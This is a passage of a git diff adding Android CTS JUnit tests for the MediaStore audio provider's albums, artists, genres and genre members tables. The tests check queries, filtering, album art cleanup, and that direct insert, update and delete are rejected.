+ Log.d(TAG, "Using volume " + mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Albums.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioAlbums() {
+ // do not support direct insert operation of the albums
+ Uri audioAlbumsUri = Albums.getContentUri(mVolumeName);
+ try {
+ mContentResolver.insert(audioAlbumsUri, new ContentValues());
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // the album item is inserted when inserting audio media
+ Audio1 audio1 = Audio1.getInstance();
+ Uri audioMediaUri = audio1.insert(mContentResolver, mVolumeName);
+
+ String selection = Albums.ALBUM +"=?";
+ String[] selectionArgs = new String[] { Audio1.ALBUM };
+ try {
+ // query
+ Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs,
+ null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Albums._ID));
+ assertTrue(id > 0);
+ assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
+ assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
+ assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
+ assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
+ assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
+ c.close();
+
+ // do not support update operation of the albums
+ ContentValues albumValues = new ContentValues();
+ albumValues.put(Albums.ALBUM, Audio2.ALBUM);
+ try {
+ mContentResolver.update(audioAlbumsUri, albumValues, selection, selectionArgs);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // do not support delete operation of the albums
+ try {
+ mContentResolver.delete(audioAlbumsUri, selection, selectionArgs);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // test filtering
+ Uri filterUri = audioAlbumsUri.buildUpon()
+ .appendQueryParameter("filter", Audio1.ARTIST).build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long fid = c.getLong(c.getColumnIndex(Albums._ID));
+ assertTrue(id == fid);
+ c.close();
+
+ filterUri = audioAlbumsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ } finally {
+ mContentResolver.delete(audioMediaUri, null, null);
+ }
+ // the album items are deleted when deleting the audio media which belongs to the album
+ Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+
+ @Test
+ public void testAlbumArt() throws Exception {
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final File path = new File(dir, "test" + System.currentTimeMillis() + ".mp3");
+ try {
+ ProviderTestUtils.stageFile(R.raw.testmp3, path);
+
+ ContentValues v = new ContentValues();
+ v.put(Media.DATA, path.getAbsolutePath());
+ v.put(Media.TITLE, "testing");
+ v.put(Albums.ALBUM, "test" + System.currentTimeMillis());
+
+ final Uri mediaUri = mContentResolver
+ .insert(MediaStore.Audio.Media.getContentUri(mVolumeName), v);
+ final long mediaId = ContentUris.parseId(mediaUri);
+
+ final long albumId;
+ try (Cursor c = mContentResolver.query(mediaUri, null, null, null, null)) {
+ assertTrue(c.moveToFirst());
+ albumId = c.getLong(c.getColumnIndex(Albums.ALBUM_ID));
+ }
+
+ final Uri albumUri = ContentUris
+ .withAppendedId(MediaStore.Audio.Albums.getContentUri(mVolumeName), albumId);
+
+ // Verify that normal thumbnails work
+ assertNotNull(mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null));
+ assertNotNull(mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null));
+
+ // Verify that hidden APIs still work to obtain album art
+ final Uri byMedia = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
+ .appendPath("audio").appendPath("media")
+ .appendPath(Long.toString(mediaId)).appendPath("albumart").build();
+ final Uri byAlbum = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
+ .appendPath("audio").appendPath("albumart")
+ .appendPath(Long.toString(albumId)).build();
+ assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia)));
+ assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum)));
+
+ // Delete item and confirm art is cleaned up
+ mContentResolver.delete(mediaUri, null, null);
+
+ try {
+ mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null);
+ fail();
+ } catch (IOException expected) {
+ }
+ try {
+ mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null);
+ fail();
+ } catch (IOException expected) {
+ }
+ try {
+ BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia));
+ fail();
+ } catch (IOException expected) {
+ }
+ try {
+ BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum));
+ fail();
+ } catch (IOException expected) {
+ }
+
+ } finally {
+ path.delete();
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
new file mode 100644
index 0000000..6ab7c28
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Artists;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_ArtistsTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Artists.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioArtists() {
+ Uri artistsUri = Artists.getContentUri(mVolumeName);
+ // do not support insert operation of the artists
+ try {
+ mContentResolver.insert(artistsUri, new ContentValues());
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+ // the artist items are inserted when inserting audio media
+ Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+
+ String selection = Artists.ARTIST + "=?";
+ String[] selectionArgs = new String[] { Audio1.ARTIST };
+ try {
+ // query
+ Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Artists.ARTIST)));
+ long id = c.getLong(c.getColumnIndex(Artists._ID));
+ assertTrue(id > 0);
+ assertNotNull(c.getString(c.getColumnIndex(Artists.ARTIST_KEY)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_ALBUMS)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_TRACKS)));
+ c.close();
+
+ // do not support update operation of the artists
+ ContentValues artistValues = new ContentValues();
+ artistValues.put(Artists.ARTIST, Audio2.ALBUM);
+ try {
+ mContentResolver.update(artistsUri, artistValues, selection, selectionArgs);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // do not support delete operation of the artists
+ try {
+ mContentResolver.delete(artistsUri, selection, selectionArgs);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // test filtering
+ Uri filterUri = artistsUri.buildUpon()
+ .appendQueryParameter("filter", Audio1.ARTIST).build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long fid = c.getLong(c.getColumnIndex(Artists._ID));
+ assertTrue(id == fid);
+ c.close();
+
+ filterUri = artistsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+ c = mContentResolver.query(filterUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ } finally {
+ mContentResolver.delete(uri, null, null);
+ }
+ // the artist items are deleted when deleting the audio media which belongs to the album
+ Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
new file mode 100644
index 0000000..a3bd099
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Artists.Albums;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Artists_AlbumsTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, 1);
+ assertNotNull(c = mContentResolver.query(contentUri, null, null, null, null));
+ c.close();
+ }
+
+ @Test
+ public void testStoreAudioArtistsAlbums() {
+ // the album item is inserted when inserting audio media
+ Uri audioMediaUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+ // get artist id
+ Cursor c = mContentResolver.query(audioMediaUri, new String[] { Media.ARTIST_ID }, null,
+ null, null);
+ c.moveToFirst();
+ Long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
+ c.close();
+ Uri artistsAlbumsUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, artistId);
+ // do not support insert operation of the albums
+ try {
+ mContentResolver.insert(artistsAlbumsUri, new ContentValues());
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ // query
+ c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+
+ assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
+ assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
+ assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
+ assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
+ assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
+ assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS_FOR_ARTIST)));
+ c.close();
+
+ // do not support update operation of the albums
+ ContentValues albumValues = new ContentValues();
+ albumValues.put(Albums.ALBUM, Audio2.ALBUM);
+ try {
+ mContentResolver.update(artistsAlbumsUri, albumValues, null, null);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ // do not support delete operation of the albums
+ try {
+ mContentResolver.delete(artistsAlbumsUri, null, null);
+ fail("Should throw UnsupportedOperationException!");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+ } finally {
+ mContentResolver.delete(audioMediaUri, null, null);
+ }
+ // the album items are deleted when deleting the audio media which belongs to the album
+ c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
+ assertEquals(0, c.getCount());
+ c.close();
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
new file mode 100644
index 0000000..dee863f
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Genres;
+import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_GenresTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Genres.getContentUri(mVolumeName), null, null,
+ null, null));
+ c.close();
+ }
+
+ @Test
+ @Ignore("Genres cannot be directly modified")
+ public void testStoreAudioGenresExternal() {
+ // insert
+ ContentValues values = new ContentValues();
+ values.put(Genres.NAME, "POP");
+ Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+ assertNotNull(uri);
+
+ try {
+ // query
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals("POP", c.getString(c.getColumnIndex(Genres.NAME)));
+ assertTrue(c.getLong(c.getColumnIndex(Genres._ID)) > 0);
+ c.close();
+ } finally {
+ assertEquals(1, mContentResolver.delete(uri, null, null));
+ }
+ }
+
+ @Test
+ @Ignore("Genres cannot be directly modified")
+ public void testGetContentUriForAudioId() {
+ // Insert an audio file into the content provider.
+ Uri audioUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+ assertNotNull(audioUri);
+ long audioId = ContentUris.parseId(audioUri);
+ assertTrue(audioId != -1);
+
+ // Insert a genre into the content provider.
+ ContentValues values = new ContentValues();
+ values.put(Genres.NAME, "Soda Pop");
+ Uri genreUri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+ assertNotNull(genreUri);
+ long genreId = ContentUris.parseId(genreUri);
+ assertTrue(genreId != -1);
+
+ Cursor cursor = null;
+ try {
+ // Check that the audio file has no genres yet.
+ Uri audioGenresUri = Genres.getContentUriForAudioId(mVolumeName, (int) audioId);
+ cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
+ assertFalse(cursor.moveToNext());
+
+ // Link the audio file to the genre.
+ values.clear();
+ values.put(Members.AUDIO_ID, audioId);
+ Uri membersUri = Members.getContentUri(mVolumeName, genreId);
+ assertNotNull(mContentResolver.insert(membersUri, values));
+
+ // Check that the audio file has the genre it was linked to.
+ cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(genreId, cursor.getLong(cursor.getColumnIndex(Genres._ID)));
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ assertEquals(1, mContentResolver.delete(audioUri, null, null));
+ assertEquals(1, mContentResolver.delete(genreUri, null, null));
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
new file mode 100644
index 0000000..b9dc9c9
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
@@ -0,0 +1,317 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Genres;
+import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Genres_MembersTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ private long mAudioIdOfJam;
+
+ private long mAudioIdOfJamLive;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+
+ Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ mAudioIdOfJam = c.getLong(c.getColumnIndex(Media._ID));
+ c.close();
+
+ uri = Audio2.getInstance().insert(mContentResolver, mVolumeName);
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ mAudioIdOfJamLive = c.getLong(c.getColumnIndex(Media._ID));
+ c.close();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // "jam" should already have been deleted as part of the test, but delete it again just
+ // in case the test failed and aborted before that.
+ mContentResolver.delete(Media.getContentUri(mVolumeName),
+ Media._ID + "=" + mAudioIdOfJam, null);
+ mContentResolver.delete(Media.getContentUri(mVolumeName),
+ Media._ID + "=" + mAudioIdOfJamLive, null);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Cursor c = null;
+ assertNotNull(c = mContentResolver.query(
+ Members.getContentUri(mVolumeName, 1), null,
+ null, null, null));
+ c.close();
+ }
+
+ @Test
+ @Ignore("Genres cannot be directly modified")
+ public void testStoreAudioGenresMembersExternal() {
+ ContentValues values = new ContentValues();
+ values.put(Genres.NAME, Audio1.GENRE);
+ Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+ Cursor c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+
+ long genreId = c.getLong(c.getColumnIndex(Genres._ID));
+ long genre2Id = -1; // used later
+ c.close();
+
+ // verify that the Uri has the correct format and genre value
+ assertEquals(ContentUris.withAppendedId(Genres.getContentUri(mVolumeName), genreId),
+ uri);
+
+ // insert audio as the member of the genre
+ values.clear();
+ values.put(Members.AUDIO_ID, mAudioIdOfJam);
+ Uri membersUri = Members.getContentUri(mVolumeName, genreId);
+ assertNotNull(mContentResolver.insert(membersUri, values));
+
+ try {
+ // query, slow path
+ c = mContentResolver.query(membersUri, null, null, null, null);
+
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+
+ assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+ assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+ assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
+ final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
+ .getAsString(Members.DATA);
+ assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
+ assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+ assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+ assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+ assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+ assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+ assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+ assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+ String albumKey = c.getString(c.getColumnIndex(Members.ALBUM_KEY));
+ assertNotNull(albumKey);
+ long albumId = c.getLong(c.getColumnIndex(Members.ALBUM_ID));
+ assertTrue(albumId > 0);
+ assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+ String artistKey = c.getString(c.getColumnIndex(Members.ARTIST_KEY));
+ assertNotNull(artistKey);
+ long artistId = c.getLong(c.getColumnIndex(Members.ARTIST_ID));
+ assertTrue(artistId > 0);
+ assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+ assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+ assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+ assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+ assertEquals(Audio1.IS_NOTIFICATION,
+ c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+ assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+ assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+ assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+ String titleKey = c.getString(c.getColumnIndex(Members.TITLE_KEY));
+ assertNotNull(titleKey);
+ c.close();
+
+ // query again, fast path
+ c = mContentResolver.query(membersUri,
+ new String[] { Members.AUDIO_ID, Members.GENRE_ID},
+ null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+ assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+ c.close();
+
+ // Query with a constraint on _id. Note that _id corresponds to the _id
+ // column in the audio table, not the one in the audio_genres_map table.
+ // We need to preserve this behavior for backward compatibility.
+ c = mContentResolver.query(membersUri, null,
+ Members._ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
+ c.close();
+
+ // Query members across all genres
+ // TODO: migrate this to using public API
+ Uri allMembersUri = MediaStore.Audio.Genres.getContentUri(mVolumeName).buildUpon()
+ .appendPath("all").appendPath("members").build();
+ c = mContentResolver.query(allMembersUri, null, null, null, null);
+ int colidx = c.getColumnIndex(Members.AUDIO_ID);
+ int jamcnt = 0;
+ // The song should appear only once, for the genre we used when inserting it
+ while(c.moveToNext()) {
+ if (c.getLong(colidx) == mAudioIdOfJam) {
+ jamcnt++;
+ assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+ }
+ }
+ assertEquals(1, jamcnt);
+ c.close();
+
+ // Query the same Uri, but add a where clause to restrict it to the one entry we added
+ c = mContentResolver.query(allMembersUri, null,
+ Members.AUDIO_ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+ assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+ c.close();
+
+ // create another genre
+ values.clear();
+ values.put(Genres.NAME, Audio1.GENRE + "-2");
+ uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.moveToFirst();
+ genre2Id = c.getLong(c.getColumnIndex(Genres._ID));
+ c.close();
+
+ // insert the song into the second genre
+ values.clear();
+ values.put(Members.AUDIO_ID, mAudioIdOfJam);
+ Uri members2Uri = Members.getContentUri(mVolumeName, genre2Id);
+ assertNotNull(mContentResolver.insert(members2Uri, values));
+
+ // Query members across all genres again
+ c = mContentResolver.query(allMembersUri, null, null, null, null);
+ colidx = c.getColumnIndex(Members.AUDIO_ID);
+ int jamcnt1 = 0;
+ int jamcnt2 = 0;
